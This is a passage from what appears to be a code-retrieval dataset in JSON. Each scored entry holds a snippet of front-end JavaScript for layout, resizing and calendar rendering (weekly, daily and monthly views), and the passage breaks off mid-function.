g_options.grid_num_rows){\n\t\t\t\t\t\n\t\t\t\t\t//change to a new pane\t\t\t\t\t\n\t\t\t\t\trowsCounter = 0;\n\t\t\t\t\tbaseX = posx;\n\t\t\t\t\tpaneMaxY = 0;\n\t\t\t\t\tposy = baseY;\n\t\t\t\t\t\n\t\t\t\t\t//change grid width to max width\n\t\t\t\t\tif(g_temp.numPanes == 1){\n\t\t\t\t\t\tg_temp.gridWidth = maxx+g_options.grid_padding;\n\t\t\t\t\t\tg_objGrid.width(g_temp.gridWidth);\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tg_temp.numPanes++;\n\t\t\t\t\tg_temp.arrPanes.push(baseX-g_options.grid_padding);\n\t\t\t\t\t\n\t\t\t\t}else{\t\t\t//start new line in existing pane\n\t\t\t\t\tposx = baseX;\n\t\t\t\t\tposy = paneMaxY + g_options.grid_space_between_rows;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\t//place the thumb\n\t\t\tg_functions.placeElement(objThumb, posx, posy);\n\t\t\t\n\t\t\t//count maxx\n\t\t\tvar endX = posx + thumbWidth;\n\t\t\tif(endX > maxx)\n\t\t\t\tmaxx = endX;\n\t\t\t\n\t\t\t//count maxy\n\t\t\tvar endY = posy + thumbHeight;\n\t\t\t\n\t\t\tif(endY > paneMaxY)\n\t\t\t\tpaneMaxY = endY;\n\t\t\t\t\n\t\t\tif(endY > maxy)\n\t\t\t\tmaxy = endY;\n\t\t\t\n\t\t\t//count maxx end\n\t\t\tvar endX = maxx + thumbWidth;\n\t\t\tif(endX > g_temp.innerWidth)\n\t\t\t\tg_temp.innerWidth = endX;\n\t\t\t\t\t\t\n\t\t\tposx += thumbWidth + g_options.grid_space_between_cols;\n\t\t\t\t\t\t\n\t\t\t//count number thumbs in pane\n\t\t\tif(g_temp.numPanes == 1)\n\t\t\t\tg_temp.numThumbsInPane++;\n\t\t\t\n\t\t\t\n\t\t}//end for\n\t\t\n\t\t//set inner strip width and height\n\t\tg_temp.innerWidth = maxx;\n\t\tg_temp.innerHeight = paneMaxY;\n\t\t\n\t\tg_objInner.width(g_temp.innerWidth);\n\t\tg_objInner.height(g_temp.innerHeight);\n\t\t\n\t\t//set grid height\n\t\tif(g_temp.numPanes == 1){\n\t\t\tg_temp.gridWidth = maxx + g_options.grid_padding;\n\t\t\tg_temp.gridHeight = maxy + g_options.grid_padding;\n\t\t\t\n\t\t\tg_objGrid.width(g_temp.gridWidth);\n\t\t\tg_objGrid.height(g_temp.gridHeight);\n\t\t}\n\t\t\t\n\t}", "title": "" }, { "docid": "3169d22c325479281aae64bbef41e271", "score": "0.54933286", "text": "setSize() {\n this.height = this.Input.height / this.Input.width * this.downScale;\n this.width = this.downScale;\n this.Input.height = this.height;\n this.Input.width = this.width;\n }", "title": "" }, { "docid": "774cfef24d08c082f33fc114f686679f", "score": "0.5491982", "text": "function nopDrawer_penSize(penSize) {\n}", "title": "" }, { "docid": "cda0df01111a2e818dc32a6f3f548c57", "score": "0.5479931", "text": "function setElementsSize_vert() {\n\t\t\t\t\n\t\t// get strip width\n\t\tvar stripWidth = g_objStrip.getWidth();\n\t\tvar panelHeight = g_temp.panelHeight;\n\t\t\n\t\t// set buttons height\n\t\tif (g_objButtonNext) {\n\t\t\tg_objButtonPrev.width(stripWidth);\n\t\t\tg_objButtonNext.width(stripWidth);\n\n\t\t\t// arrange buttons tip\n\t\t\tvar prevTip = g_objButtonPrev.children(\".ug-strip-arrow-tip\");\n\t\t\tg_functions.placeElement(prevTip, \"center\", \"middle\");\n\n\t\t\tvar nextTip = g_objButtonNext.children(\".ug-strip-arrow-tip\");\n\t\t\tg_functions.placeElement(nextTip, \"center\", \"middle\");\n\t\t}\n\n\t\t// set panel width\n\t\tvar panelWidth = stripWidth + g_options.strippanel_padding_left\n\t\t\t\t+ g_options.strippanel_padding_right;\n\n\t\t// set panel size\n\t\tg_objPanel.width(panelWidth);\n\t\tg_objPanel.height(panelHeight);\n\n\t\tg_temp.panelWidth = panelWidth;\n\n\t\t// set strip size\n\t\tvar stripHeight = panelHeight - g_options.strippanel_padding_top\n\t\t\t\t- g_options.strippanel_padding_bottom;\n\n\t\tif (g_objButtonNext) {\n\t\t\tvar buttonHeight = g_objButtonNext.outerHeight();\n\t\t\tstripHeight = stripHeight - buttonHeight * 2\n\t\t\t\t\t- g_options.strippanel_padding_buttons * 2;\n\t\t}\n\n\t\tg_objStrip.resize(stripHeight);\n\t}", "title": "" }, { "docid": "38b592d8a2cbce4dd567e9cc948ef0ad", "score": "0.54786474", "text": "function margin_tool_size_indicator_update () {\n var resizer = $('.mws-margin-resizer', $handler.parent().parent());\n // top\n $('.mtop i').text($handler.css(\"marginTop\"));\n $('.mtop i').css({height: $handler.css(\"marginTop\"), width: parseInt($handler.parent().width()) + 40 + \"px\", \"margin-left\": \"-20px\"});\n // bottom\n $('.mbottom i').text($handler.css(\"marginBottom\"));\n $('.mbottom i').css({height: $handler.css(\"marginBottom\"), width: parseInt($handler.parent().width() + 40 + \"px\"),\"margin-left\": \"-20px\"});\n // right\n $('.mright i').text($handler.css(\"marginRight\"));\n if (parseInt($handler.css(\"marginRight\")) < 0) $('.mright i', resizer).css({left: \"0\", right: \"auto\",width: - parseInt($handler.css(\"marginRight\")) + 20 + \"px\"});\n else $('.mright i', resizer).css({left: \"auto\", right: \"-20px\",width: parseInt($handler.css(\"marginRight\")) + 20 + \"px\"});\n // left\n $('.mleft i').text($handler.css(\"marginLeft\")); \n if (parseInt($handler.css(\"marginLeft\")) < 0) $('.mleft i', resizer).css({left: \"auto\", right: \"0\",width: - parseInt($handler.css(\"marginLeft\")) + 20 + \"px\"});\n else $('.mleft i', resizer).css({left: \"-20px\", right: \"auto\",width: parseInt($handler.css(\"marginLeft\")) + 20 + \"px\"});\n}", "title": "" }, { "docid": "dfd5a28de077341d9259a0a45551282b", "score": "0.54739696", "text": "onCustomWidgetResize(width, height) {\n this.$width = width;\n this.$height = height;\n this.draw(width, height);\n }", "title": "" }, { "docid": "55dc04066d1ad72f308990cb682c7c22", "score": "0.54733354", "text": "moveSlotSlider(index, newWidth) {\n var left_closet_face_x_value = this.group.getObjectById(this.closet_faces_ids[2]).position.x;\n var rigth_closet_face_x_value = this.group.getObjectById(this.closet_faces_ids[3]).position.x;\n this.selected_slot = this.group.getObjectById(this.closet_slots_faces_ids[index]);\n if (index == 0) {\n let newPosition = left_closet_face_x_value + newWidth;\n this.selected_slot.position.x = newPosition;\n } else {\n var positionLefthSlot = this.group.getObjectById(this.closet_slots_faces_ids[index - 1]).position.x;\n if (positionLefthSlot + newWidth >= rigth_closet_face_x_value) {\n this.selected_slot.position.x = positionLefthSlot;\n } else {\n this.selected_slot.position.x = positionLefthSlot + newWidth;\n }\n }\n }", "title": "" }, { "docid": "1ae1dbbd3cd30502a99848622f5c77e1", "score": "0.547182", "text": "function DecW(elem)\r\n\t\t{\r\n\t\t\tif(elem.id == \"TaskPane1\")\r\n\t\t\t{\r\n\t\t\t\ttaskpane = TaskPane1;\r\n\t\t\t\ttaskbar = TaskBar1;\r\n\t\t\t\ttaskbox = TaskBox1;\r\n\t\t\t\ttaskbarimg = TaskBarImg1;\r\n\t\t\t\thotarea = HotArea1;\r\n\t\t\t\thotperimeter = HotPerimeter1;\r\n\t\t\t} else if(elem.id == \"TaskPane2\")\r\n\t\t\t{\r\n\t\t\t\ttaskpane = TaskPane2;\r\n\t\t\t\ttaskbar = TaskBar2;\r\n\t\t\t\ttaskbox = TaskBox2;\r\n\t\t\t\ttaskbarimg = TaskBarImg2;\r\n\t\t\t\thotarea = HotArea2;\r\n\t\t\t\thotperimeter = HotPerimeter2;\r\n\t\t\t} else if(elem.id == \"TaskPane3\")\r\n\t\t\t{\r\n\t\t\t\ttaskpane = TaskPane3;\r\n\t\t\t\ttaskbar = TaskBar3;\r\n\t\t\t\ttaskbox = TaskBox3;\r\n\t\t\t\ttaskbarimg = TaskBarImg3;\r\n\t\t\t\thotarea = HotArea3;\r\n\t\t\t\thotperimeter = HotPerimeter3;\r\n\t\t\t}\r\n\r\n\t\t\t\tDecreaseWidth(taskpane, constant.DecWAmount)\r\n\t\t\t\tDecreaseWidth(taskbar, constant.DecWAmount);\r\n\t\t\t\tDecreaseWidth(hotarea, constant.DecWAmount);\r\n\t\t\t\tDecreaseWidth(hotperimeter, constant.DecWAmount);\r\n\t\t\t\tDecreaseWidth(taskbox, constant.DecWAmount);\r\n\t\t\t\tDecreaseWidth(taskbarimg, constant.DecWAmount);\r\n\r\n\t\t}", "title": "" }, { "docid": "eb5509fb16227463aa896d95e21fd447", "score": "0.5470347", "text": "function resizeNorth(e) {\n let calculateValue = false;\n let boundaryRectValues;\n let pageY = (getEventType(e.type) === 'mouse') ? e.pageY : e.touches[0].pageY;\n let targetRectValues = getClientRectValues(targetElement);\n if (!Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"isNullOrUndefined\"])(containerElement)) {\n boundaryRectValues = getClientRectValues(containerElement);\n }\n if (!Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"isNullOrUndefined\"])(containerElement) && (targetRectValues.top - boundaryRectValues.top) > 0) {\n calculateValue = true;\n }\n else if (Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"isNullOrUndefined\"])(containerElement) && pageY > 0) {\n calculateValue = true;\n }\n let currentHeight = originalHeight - (pageY - originalMouseY);\n if (calculateValue) {\n if (currentHeight >= minHeight && currentHeight <= maxHeight) {\n let containerTop = 0;\n if (!Object(_syncfusion_ej2_base__WEBPACK_IMPORTED_MODULE_0__[\"isNullOrUndefined\"])(containerElement)) {\n containerTop = boundaryRectValues.top;\n }\n let top = (originalY - containerTop) + (pageY - originalMouseY);\n top = top > 0 ? top : 1;\n targetElement.style.height = currentHeight + 'px';\n targetElement.style.top = top + 'px';\n }\n }\n}", "title": "" } ]
86fe07fbdaf18e2321af708f36ea2693
Renders the days of the week at the top of the calendar
[ { "docid": "7fa11e5ba16721067590930077b5da7e", "score": "0.7139909", "text": "renderDays() {\n const dateFormat = \"dddd\";\n const days = [];\n\n // The start of the week\n let startDate = dateFns.startOfWeek(this.state.currentMonth);\n for (let i = 0; i < 7; i++) {\n days.push(\n <div className=\"col col-center\" key={i}>\n {dateFns.format(dateFns.addDays(startDate, i), dateFormat)}\n </div>\n );\n }\n return <div className=\"days row\">{days}</div>;\n }", "title": "" } ]
[ { "docid": "8da12c213bed9e7779252431e2b9cb32", "score": "0.7190552", "text": "function renderWeeklyCalendar() {\n var i = 0;\n var selectedDate = new Date(selectedYear, selectedMonth - 1, selectedDay);\n var day = selectedDate.getDay();\n var startDay = selectedDay - day + 1;\n if (day == 0) {\n startDay -= 7;\n }\n renderControls('weekly');\n var bodyRow = '<tr class=\"pCalendar-bodyRow\">';\n for (i = 0; i < 7; i++) {\n bodyRow += '<td class=\"pCalendar-active\" data-cellid=\"' + (parseInt(startDay) + i) + '\">' +\n '<div class=\"pCalendar-eventInfo\">' +\n GetCalendarEvents(new Date(selectedYear, parseInt(selectedMonth) - 1, (parseInt(startDay) + i))) +\n '</div>' +\n '</td>';\n }\n bodyRow += '</tr>';\n $(divName + ' .pCalendar-Main').append(bodyRow);\n $('span[data-toggle=\"tooltip\"]').tooltip();\n }", "title": "" }, { "docid": "16aa5ba3670aca5171945e8901351ee2", "score": "0.7009325", "text": "function renderDailyCalendar() {\n renderControls('daily');\n var dayEvents = GetEventsForDay(new Date(selectedYear, selectedMonth - 1, selectedDay));\n for (i in dayEvents) {\n var encStatusHtml = '';\n var encStatusBullet = '';\n var row = dayEvents[i];\n var slot = row.Slot;\n if (row.Status == 'Active') {\n //tdClass = 'pCalendar-encOpen';\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-active\"><i class=\"fa fa-check\"></i></span><span class=\"pCalendar-showOnHover pCalendar-greenFont\">Active</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-active\"><i class=\"fa fa-check\"></i></span>';\n }\n\n if (row.Status == 'NoShow') {\n //tdClass = 'pCalendar-encClosed';\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-noShow\"><i class=\"fa fa-remove\"></i></span><span class=\"pCalendar-showOnHover pCalendar-redFont\">No Show</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-noShow\"><i class=\"fa fa-remove\"></i></span>';\n }\n\n if (row.Status == 'Scheduled') {\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-scheduled\"><i class=\"fa fa-clock-o\"></i></span><span class=\"pCalendar-showOnHover pCalendar-blueFont\">Scheduled</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-scheduled\"><i class=\"fa fa-clock-o\"></i></span>';\n }\n if (row.Status == 'Rescheduled') {\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-rescheduled\"><i class=\"fa fa-reply\"></i></span><span class=\"pCalendar-showOnHover pCalendar-blueFont\">Rescheduled</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-rescheduled\"><i class=\"fa fa-reply\"></i></span>';\n }\n if (row.Status == 'ReadyToCode') {\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-readyToCode\"><i class=\"fa fa-check\"></i></span><span class=\"pCalendar-showOnHover pCalendar-yellowFont\">Ready To Code</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-readyToCode\"><i class=\"fa fa-check\"></i></span>';\n }\n\n if(row.Status == 'Open'){\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-open\"><i class=\"fa fa-hourglass-2\"></i></span><span class=\"pCalendar-showOnHover pCalendar-yellowFont\">Open</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-open\"><i class=\"fa fa-hourglass-2\"></i></span>';\n }\n\n if (row.Status == 'Draft') {\n encStatusHtml = '<span class=\"pCalendar-badge pCalendar-badge-sm pCalendar-badge-draft\"><i class=\"fa fa-file-o\"></i></span><span class=\"pCalendar-showOnHover pCalendar-yellowFont\">Draft</span>';\n encStatusBullet = '<span class=\"pCalendar-bullet pCalendar-bullet-xs pCalendar-badge-draft\"><i class=\"fa fa-file-o\"></i></span>';\n }\n\n $('.pCalendar-Main .pCalendar-bodyRow[data-slot=\"' + slot + '\"]').append(\n '<td rowSpan=\"' + row.Span + '\" class=\"pCalendar-dailyTableRow pCalendar-active pCalendar-hoverable\">' +\n '<div class=\"pCalendar-tileInfo\">' +\n '<div class=\"memberOnly\">' +\n '<span class=\"pCalendar-boldFont\">' + row.Description.MemberName + '</span>' +\n encStatusBullet +\n //'<span>Provider: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.ProviderName + '</span>' + '<br/>' +\n //'<span>Facility: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.Facility + '</span><br/>' +\n //'<span>Chief Complaint: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.ChiefComplaint + '</span>' + '<br/>' +\n '</div>' +\n '<div class=\"allDetails\">' +\n '<div class=\"pCalendar-encounterStatus\">' +\n encStatusHtml +\n '</div>' +\n '<span>Member: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.MemberName + '</span>' + '<br/>' +\n '<span>Provider: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.ProviderName + '</span>' + '<br/>' +\n '<span>Facility: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.Facility + '</span><br/>' +\n '<span>Chief Complaint: </span>' + '<span class=\"pCalendar-boldFont\">' + row.Description.ChiefComplaint + '</span>' + '<br/>' +\n '</div>' +\n '</div>' +\n '</td>'\n );\n $('.allDetails').css('display', 'none');\n }\n adjustTable(dayEvents);\n }", "title": "" }, { "docid": "ccaaabb013fe76dffe6567ee43bd9196", "score": "0.69270825", "text": "ShowDays() {\n var days = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'];\n var container = document.getElementById('calendar_header');\n var ul = document.createElement(\"ul\");\n ul.id = \"calendar\";\n container.appendChild(ul);\n for (var i = 0; i < 7; i++) {\n var li = document.createElement(\"li\");\n li.className = \"day\";\n var text = document.createTextNode(days[i]);\n li.appendChild(text);\n ul.appendChild(li);\n }\n }", "title": "" }, { "docid": "460e0bfba3e4dc9d38c0f73ffa6f1444", "score": "0.69030184", "text": "get dayView() {\n const view = RenderView.DAY;\n const firstDayOfWeek = this.firstDayOfWeek;\n const padding = (7 + utcParse(this.view).getUTCDay() - firstDayOfWeek) % 7;\n const viewMonth = monthInfo(this.view);\n const prevMonth = monthInfo(subMonths(this.view, 1));\n const nextMonth = monthInfo(addMonths(this.view, 1));\n const days = [];\n const rows = [];\n let cells = [];\n let day;\n let month;\n let year;\n // Generate new cells.\n for (let i = 0; i < DAY_VIEW.totalCount; i += 1) {\n if (i % DAY_VIEW.columnCount === 0) {\n cells = [];\n rows.push({\n cells\n });\n }\n const datePadding = i - padding + 1;\n if (datePadding <= 0) {\n if (!this.fillCells) {\n cells.push({\n view\n });\n continue;\n }\n day = prevMonth.days + datePadding;\n month = prevMonth.month;\n year = prevMonth.year;\n }\n else if (datePadding > viewMonth.days) {\n if (!this.fillCells) {\n cells.push({\n view\n });\n continue;\n }\n day = datePadding - viewMonth.days;\n month = nextMonth.month;\n year = nextMonth.year;\n }\n else {\n day = datePadding;\n month = viewMonth.month;\n year = viewMonth.year;\n }\n const value = utcFormat({ year, month, day }, DateFormat.yyyyMMdd);\n const disabled = this.isDateAvailable ? !this.isDateAvailable(value) : false;\n const dayCell = Object.assign({ view, text: day.toString(), value,\n disabled, idle: month !== viewMonth.month || year !== viewMonth.year, now: isToday(value) }, this.getCellSelection(value, isSameDay));\n cells.push(dayCell);\n days.push(dayCell);\n }\n days[0].firstDate = true;\n days[days.length - 1].lastDate = true;\n return html `\n ${this.renderWeekdayNames}\n ${this.renderRows(rows)}\n `;\n }", "title": "" }, { "docid": "47b6b8c7598d2e63ae7fb0962399564f", "score": "0.68305254", "text": "renderDays() {\n const dateFormat = \"dddd\";\n const days = [];\n let startDate = dateFns.startOfWeek(this.props.startDate);\n\n for (let i = 0; i < 7; i++) {\n days.push(\n <Grid.Column key={i}>\n {dateFns.format(dateFns.addDays(startDate, i), dateFormat)}\n </Grid.Column>\n );\n }\n return(\n <React.Fragment>\n <Grid.Row>{days}</Grid.Row>\n </React.Fragment>\n );\n }", "title": "" }, { "docid": "4fddfd2e85fe6e7f4fcde8074660c061", "score": "0.6745379", "text": "renderDays() {\n\t\treturn this.props.weeklyWeather[0] ?\n\t\t\tthis.props.weeklyWeather.map((day, i) => {\n\t\t\t\tif (i < 1){\n\t\t\t\t\treturn <TodayWindow key={day.time} weather={day} dayName={day.time} count={i}/>;\n\t\t\t\t} else if (i < 7) {\n\t\t\t\t\treturn <DayWindow key={day.time} weather={day} dayName={day.time} count={i}/>;\n\t\t\t\t}\n\t\t\t})\n\t\t: <h1>Something's happened to our data - Come back soon!</h1>\n\t}", "title": "" }, { "docid": "e6a386a6fcf45e88b22f47094bf05393", "score": "0.6742687", "text": "function renderCalendar() {\n // Define variables\n firstdateofmonth = DateTime.fromObject({ day: 1, month: globalMonth, year: globalYear });\n firstdayofmonth = firstdateofmonth.toFormat('E');\n daysinmonth = DateTime.fromObject({ month: globalMonth, year: globalYear }).daysInMonth\n intday = parseInt(firstdayofmonth);\n\n const calendar = document.querySelector('#days');\n // Empty the div to render new calendar\n calendar.innerHTML = '';\n // Create the left over days from previous months\n var y = 0;\n while (y < intday - 1) {\n const newday = document.createElement('div');\n newday.setAttribute(\"class\", \"lightgrey\");\n newday.innerHTML = '';\n calendar.append(newday);\n y += 1;\n }\n // Create the days \n var i;\n date = firstdateofmonth;\n for (i = 0; i < daysinmonth; i++) {\n const newday = document.createElement('div');\n if (date.day == currentDate.day && date.month == currentDate.month && date.year == currentDate.year) {\n newday.innerHTML = `<b> ${date.day} </b>`;\n }\n else {\n newday.innerHTML = date.day;\n }\n calendar.append(newday);\n date = date.plus({ days: 1 });\n };\n leftover = (7 - ((y + i) % 7)) % 7\n if (leftover != 0) {\n var x = 0;\n for (x = 0; x < leftover; x++) {\n const newday = document.createElement('div');\n newday.setAttribute(\"class\", \"lightgrey\");\n newday.innerHTML = '';\n calendar.append(newday);\n }\n }\n }", "title": "" }, { "docid": "f6b3ab80f468232b67cf4b8d10a55f0b", "score": "0.66724354", "text": "function weekDaysPrettyVisualization() {\n\n //this method returns number (0-6), 0=Sunday 6=Saturday\n var thisDay = new Date().getDay();\n var saturday,sunday;\n\n //for further id giving\n var dayIds=[\"saturday\",\"sunday\"];\n switch(thisDay) {\n //if thisDay == 0(Sunday) -> Next saturday is currentDay + 6 days away; Sunday is equal to Saturday-1\n case 0:\n saturday=currentDay+6;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n case 1:\n saturday=currentDay+5;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n case 2:\n saturday=currentDay+4;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n case 3:\n saturday=currentDay+3;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n case 4:\n saturday=currentDay+2;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n case 5:\n saturday=currentDay+1;\n sunday=saturday+1;\n styleWeekdays(saturday-1,dayIds[0]);\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n\n //If current day is saturday, make pretty only sunday \n case 6:\n saturday=currentDay;\n sunday=saturday+1;\n styleWeekdays(sunday-1,dayIds[1]);\n break;\n }\n}", "title": "" }, { "docid": "356a85f5fdcd4a23e44aa602b3d93f38", "score": "0.6573888", "text": "updateCalendar() {\n \n /**\n * Get the strings for the display month and the display year for the calendar header.\n */\n this.displayMonthString = LCARS.MONTHS[this.displayMonth+1];\n this.displayYearString = this.displayYear.toString();\n \n /**\n * Set the month and year text for the calendar header.\n */\n this.monthText.setText(this.displayMonthString);\n this.yearText.setText(this.displayYearString);\n \n /**\n * Get the starting day of week for the month.\n */\n var startDay = this.dayOfWeek(this.displayMonth, 1, this.displayYear);\n \n /**\n * Get the number of the days in the display month.\n */\n var daysInMonth = this.getDaysInMonth(this.displayMonth, this.displayYear);\n \n \n /**\n * Clear the calendar of text, and fill it with the appropriate days\n * for the display month and the display year.\n */\n for(var i=0; i<MAX_DAYS_IN_MONTH_DISPLAY; i++) {\n if(i < startDay || i > startDay+daysInMonth-1) {\n this.displayDays[i].setText(\"\");\n }\n else {\n var day = i-startDay+1;\n this.displayDays[i].setText(day);\n \n if(this.isWeekday(day)) {\n this.displayDays[i].textElement.setAttribute(\"fill\", LCARS.getColor(LCARS.EC_L_BLUE));\n }\n if(this.isSunday(parseInt(day))) {\n this.displayDays[i].textElement.setAttribute(\"fill\", LCARS.getColor(LCARS.EC_ORANGE));\n }\n if(this.isSaturday(day)) {\n this.displayDays[i].textElement.setAttribute(\"fill\", LCARS.getColor(LCARS.EC_BLUE));\n }\n \n if(this.isToday(day)) {\n this.displayDays[i].textElement.setAttribute(\"fill\", LCARS.getColor(LCARS.EC_YELLOW));\n }\n }\n }\n }", "title": "" }, { "docid": "693db28adad93b0eee33f8c798e164e0", "score": "0.65306693", "text": "get renderWeekdayNames() {\n return html `\n <div part=\"row day-name-row\">${this.weekdaysNames.map(day => html `<div part=\"cell day-name\">${this.renderContentBox(day)}</div>`)}</div>\n `;\n }", "title": "" }, { "docid": "029ce72a2951879043cc6e419381ed71", "score": "0.6528703", "text": "printWeek(w, days, firstDay, date) {\n let html = \"\",\n newDate,\n lastDayOfWeek = 0;\n let d = w * this.numWeekDays - (this.numWeekDays + firstDay) + 1;\n for (let c = 1; c <= this.numWeekDays; ++c) {\n newDate = date.toLocaleDateString();\n if (firstDay >= c && w == 1) {\n html += `<div class=\"day\"></div>`;\n d++;\n } else if (d <= days) {\n html += `<div class=\"day day-${c} ${this.sunClass(\n newDate\n )}\" title=\"${newDate}\">\n <span class=\"day-number\">${d}</span>\n </div>`;\n date = this.addDays(date, 1);\n d++;\n } else {\n if (lastDayOfWeek == 0) lastDayOfWeek = c - 1;\n html += `<div class=\"day\"></div>`;\n }\n }\n //if (lastDayOfMonth == undefined) lastDayOfWeek = 0\n return { html, lastDayOfWeek };\n }", "title": "" }, { "docid": "1a2767989b59a9173ae3e942f32c4524", "score": "0.64982796", "text": "function updateCalendar(){\n\n var m=currentMonth.month,\n y=currentMonth.year;\n\n var d=new Date(),\n todayDate=d.getDate(),\n todayMonth=d.getMonth(),\n todayYear=d.getFullYear();\n\n // Remove old days\n document.getElementById(\"day-wrap\").innerHTML=\"\";\n\n // Prepare for adding days\n\n document.getElementById(\"header-title-date\").innerHTML=monthNames[m] +' '+ y;\n var weeks = currentMonth.getWeeks();\n\n var totaldays = 0,\n totalweeks = 0;\n\n //Display day blocks\n for(var w in weeks){\n\t\tvar days = weeks[w].getDates();\n totalweeks++;\n var text = '<div class=\"week\" id=\"week'+totalweeks+'\">';\n\t\tfor(var d in days){\n if(days[d].getMonth()==m){\n totaldays++;\n\n //If today\n var className=\"day\";\n if (todayMonth == m && todayYear == y && todayDate==totaldays) {\n className+=\" today\";\n }\n\n //add a block with day number\n text += '<div class=\"'+className+'\" id=\"day'+totaldays+'\"><div class=\"day-number\">'+days[d].getDate()+'</div></div>';\n }else{\n //add an empty block\n text += '<div class=\"day-blank\" name=\"day-blank\"><div class=\"day-number\"></div></div>';\n }\n\t\t}\n \n text += '</div>';\n document.getElementById(\"day-wrap\").innerHTML += text;\n\n\t}\n\n\n //Add events on the top\n //var list=loadEvents();\n displayEvents(eventlist);\n}", "title": "" }, { "docid": "9506fc22c2cb7edef58e7d64bd6d9eab", "score": "0.6493588", "text": "render(){\n\t\treturn (\n\t\t\t<div id='week'>\n\t\t\t\t<div className='day-container'>\n\t\t\t\t\t{this.renderDays()}\n\t\t\t\t</div>\n\t\t\t\t<Location handleSubmit={this.handleSubmit} handleChange={this.handleChange} city={this.props.location.city} state={this.props.location.state} />\n\t\t\t</div>\n\t\t)\n\t}", "title": "" }, { "docid": "f33548dc9fc0dee0a25ad85b997c2511", "score": "0.64784646", "text": "render() {\n return (\n\n this.renderDay()\n \n );\n }", "title": "" }, { "docid": "88af0c3bb41b0cf1176e7d088c3259ff", "score": "0.6463291", "text": "function WeekCalendar() {\n\t\t/* \n\t\t * PRIVATE\n\t\t * set hours to display in calendar \n\t\t */\n\t var setHours = function () {\n\t\t\tvar hours = [];\n\t\t\tfor (var i = 0; i < 24; i++) {\n\t\t\t\tif (i === 0) {\n\t\t\t\t\thours[i] = \"12AM\";\n\t\t\t\t} else if (i < 12) {\n\t\t\t\t\thours[i] = i + \"AM\";\n\t\t\t\t} else if (i == 12) { \n\t\t\t\t\thours[i] = i + \"PM\";\n\t\t\t\t} else {\n\t\t\t\t\thours[i] = (i - 12) + \"PM\";\n\t\t\t\t} \n\t\t\t}\n\t\t\treturn hours;\n\t\t};\n\t\t\n\t\t/* \n\t\t * PRIVATE\n\t\t * set navigate month\n\t\t */\n\t\tvar setNavMonth = function(month1, month2) {\n\t\t\tif (month1 == month2) {\n\t\t\t\treturn eCalendar.months[month1];\n\t\t\t} else {\n\t\t\t\treturn eCalendar.months[month1] + \"-\" +eCalendar.months[month2];\n\t\t\t}\n\t\t};\n\t\t\n\t\t/* \n\t\t * PRIVATE\n\t\t * set navigate year\n\t\t */\n\t\tvar setNavYear = function(year1, year2) {\n\t\t\tif (year1 == year2) {\n\t\t\t\treturn year1;\n\t\t\t} else {\n\t\t\t\treturn year1 + \"-\" + year2;\n\t\t\t}\n\t\t};\n\t\t\n\t\t/* \n\t\t * convert navDays from array of Object Day\n\t\t * to array of Object WeekDay\n\t * most important function\n\t */\n\t this.setNavDays = function () {\n\t \t// go through all day in navWeek;\n\t \tfor (var i=0; i < 7; i++) {\n\t\t\t\t// convert object Event to Event\n\t\t\t\tthis.navDays[i] = new WeekDay(this.navDays[i]);\t// object WeekDay\n\t \t}\n\n\t\t\t// very complicate. Insert the EmptyEvent\n\t\t\tfor (var i=0; i < 7; i++) {\n\t\t\t\tif (!isNull( this.navDays[i].events )) {\n\t\t\t\t\tvar length = this.navDays[i].events.length;\n\t\t\t\t\tfor (var j=0; j < length; j++) {\n\t\t\t\t\t\tif (this.navDays[i].events[j].event.type == \"over\") {\n\t\t\t\t\t\t\tvar dur = this.navDays[i].events[j].duration;\n\t\t\t\t\t\t\tfor (var k=i+1; k < i + dur; k++) {\n\t\t\t\t\t\t\t\tif (!isNull( this.navDays[k].events ) && !isNull( this.navDays[k].events[j] )) {\n\t\t\t\t\t\t\t\t\tfor (var t=length; t > j; t--) {\n\t\t\t\t\t\t\t\t\t\tthis.navDays[k].events[t] = this.navDays[k].events[t-1];\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tthis.navDays[k].events[j] = new EmptyEvent(this.navDays[i].events[j]);\n\t\t\t\t\t\t\t\t} else if (!isNull( this.navDays[k].events )) {\n\t\t\t\t\t\t\t\t\tvar kLength = 